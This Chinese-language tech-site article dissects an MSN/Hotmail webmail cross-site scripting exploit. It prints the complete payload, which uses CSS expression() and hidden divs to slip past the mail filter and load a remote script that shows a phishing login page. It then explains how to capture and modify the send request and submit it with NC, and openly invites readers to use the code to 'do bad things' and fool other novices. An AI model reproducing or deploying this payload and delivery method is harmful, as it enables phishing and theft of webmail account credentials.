网络安全 频道

MSN跨站漏洞分析

  【IT168 专稿】早在几天前,听到同事说“朋友msn发来一个网页,自己输入了密码,结果过了几天后,MSN密码错误,可能是被盗了。”当时还问同事要地址,他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码,于是自己下载exp研究半天,终于利用成功。

  原代码很乱,排版后如下:

1 <font color="ffffff">
2     <div id="jmp" style="display:none">nop</div>
3     <div id="ly" style="display:none">      //这几个DIV是用来分段存储exp内容的
4         function ok(){return true};
5         window.onerror=ok
6     </div>
7     <div id="tip" title="&lt;a style=&quot;display:none&quot;&gt;" style="display:none"></div>
8     <div id="tap" title="&lt;" style="display:none"></div>
9     <div id="tep" title="&gt;" style="display:none"></div>
10     <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12         div{background-image:expression(
13             javascript:1?document.write(
14                     EC_tip.title+';top:'+EC_tap.title+'/a'+
15                     EC_tep.title+EC_tap.title+'script id=nop'+
16                     EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
17                     EC_tep.title+EC_tap.title+
18                     'script src=http://localhost/1.js'+
19                     EC_tep.title+EC_tap.title+'/script'+
20                     EC_tep.title)
21                     :1=1);
22                 }
23         </style>
24 </font>

  不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码,也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华,精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想,漏洞代码这种东西,今天能用,明天人家就补上了。

  用DOM解析来分析代码,会容易些。首先看最外层,一对<font>标签。作者并不怎么用MSN来发信,所以不了解MSN邮箱的编辑模式,不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写,说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信,发现MSN提供的邮箱不能直接发HTML,只能用自带编辑器给新建内容加样式。看来如果一定要发html,就要抓包了。

  邮件发送和接收协议分别是SMTP和POP,但是MSN却让我们从网站上发送邮件,把邮件提交给一个网页文件,这说明MSN在接收到我们给该网页所提交的信息后,在后台处理了那些过程。一个MSN发信的包里,有如下几个重要内容:

POST /mail/SendMessageLight.aspx?_ec=1&n=578891127 HTTP/1.1

  把信件内容提交给这个文件,之后发送过程由该文件在MSN服务器上执行。

Host: by111w.bay111.mail.live.com

  主机地址,这个要记下来, NC提交的时候用。

Content-Length: 1858

  发送包的长度,如果修改了包内容,也要相应修改包长度。

  COOKIE就不说了,一定要有的,证明你的身份,因为是HTTP协议,所以一旦登录过后退出了,之前抓到的cookie就无效了。

Content-Disposition: form-data; name="fTo"

notconn@hotmail.com
-----------------------------7d830d6a0738

  看到“fTo”了吧?顾名思义,这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。

Content-Disposition: form-data; name="fMessageBody"

<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert('s');</script>
-----------------------------7d830d6a0738

  这就是最重要的地方:信件的内容,也就是放EXP代码的地方。msn会在这里过滤很多东西,以免出现XSS攻击。作者发信的时候,在信件里输入了“ddddd”,然后点“加粗”按钮,原内容只有一个<STRONG>ddddd</STRONG>,而这个数据包,是修改后的内容。

  为了测试MSN对邮件内容的过滤,同时为了研究大牛的EXP代码中一个特殊的地方,作者在信件源内容里,加了一个script标签,和一个div,并给div的id和name以及title给定了值。如果只看EXP代码,有些地方能一眼看懂,而有些地方看起来很茫然。特别奇怪的就是前面定义了一个div叫tap,乍一看似乎没用,而后面又有一个EC_tap的js变量,这个变量居然还有个title属性。原本看起来没有关联的代码,等我用NC把修改后的包提交出去以后(发乐信),再打开信件时,终于明白了。再看看收到的邮件源代码:

  邮件中的dddddd还在,div的id由原来的test,变成了EC_test,title的值和div标签之间的值(innerHTML)也在,MSN没有对其过滤。而script标签,就找不到了。这么看起来,就很容易搞明白EXP的代码了。

  MSN过滤了很多内容,但是却把“div{background-image:expression(”中的表达式执行了。而表达式中的内容也被过滤一部分,不允许出现定义变量,不允许出现“<”等等,大牛无奈之下,定义了一堆div。用div的title属性和innerHTML来存储shellcode,而特殊的值例如“<”一类,也经过编码后储存,最终巧妙的在msn的严密过滤下执行了恶意代码。不得不佩服的说一句,很邪恶,很强大!

  最终成型后的shellcode代码,会在浏览器中打开页面中html代码如下:

<a style="display:none">;top:</a>
<script id=nop>function ok(){return true};window.onerror=ok</script>
<script src=http://localhost/1.js></script>

  看看最终的成果,你会发现这些代码的每一个字符都在exp里以某种形式出现过,最终绕过层层防御,组合在一起。读者可以在脑海里构造这么一个画面,在一个恐怖的黑色实验室里,某牛趴在一台电脑面前,不断变换着字符对自己的msn发信,从最基本的<script>标签开始,到不小心发现DIV的名字会被msn的过滤器换成另一个,笔者最佩服这种研究精神。我们的小菜,在自己不小心上当后,该怎么抓到这段EXP然后利用呢?现在重现一下小菜中招的那一刻:

  某小菜正在利用上班时间,打开MSN泡MM,突然朋友发来一封邮件“新鲜的IIS6 0DAY”,小菜满怀激动打开邮件,没想到居然提示登录,于是登录,再次打开邮件,又提示登录……如此反复。终于明白这不是IIS6的0DAY,而是MSN跨站。

  如果我猜得不错,大多数爱学习而又心怀鬼胎的小菜会打开信件后,会首先看那个MSN登录页面的源代码,误以为这个就是最终exp。发现不是exp后,又打开邮件后立刻按ESC停止浏览器执行,在出现的空白页面里看源代码,却只发现那段成型后的shellcode代码。这当然是误区!

  那么整段EXP究竟该怎么抓呢?为什么两次抓的都不对?

  作者推测,仅仅从邮箱中打开邮件查看,一直到查看到信件最后中标为止,整段EXP应该没有出现过,只有成型的shellcode出现了!!!很诡异啊,呵呵,开个玩笑,它当然出现了,如果整个过程中都在抓包,会出现在打开信件之后,但是瞬间出现后,页面就被shellcode替换掉了,而shellcode又调出了msn登录的钓鱼页面。其实除了抓包,还有更简单的方法。MSN新版,提供了查看信件源代码功能。

  在信件上点右键,选择查看源文件,就能看到信件的源代码,下图就是信件源代码页面。

  接下来在IE中查看网页源文件,看到的是加密过的内容,一堆乱码。中国X黑客小组网站里,提供了在线脚本编码工具http://online.cnxhacker.com/script/, 对代码解密。才会看到EXP的真实内容。

  现在终于看到了exp的内容,这段EXP会执行指定的JS文件,根据中招的经历,我们也可以利用这段代码欺骗其他小菜了。

  代码分析完毕,下面是利用这段代码做坏事了。

  其实不需要使用MSN给MSN的邮箱发信,只要找个能完好的发送代码到MSN的邮箱就可以。如果临时找不到,甚至可以自己架一台java mail发信。作者比较懒,只对“WSE抓包,修改之后使用NC发包”这条路情有独钟。

  简单的介绍下作者的发信过程:

  登录MSN邮箱,打开新建邮件页面。设置抓包工具之后,修改抓到的包内容为exp的代码,然后修改包长度。使用NC提交给hotmail服务器。整个过程中,包内容保存为1.TXT这个文件必须使用ultraedit工具打开,不能使用记事本,因为记事本不认某些字符编码,会把自己的编码覆盖到原文档中,最终造成NC发出去的包,服务器不认识。

  从一段代码,可以看到大牛的思路,以及为了不断寻求突破所付出的努力,这才是值得学习的地方。再看看国内那些现在越来越多只知道用工具的家伙,殊不知那些经常上报的可怜小子其实就是出自你们当中呢?

0
相关文章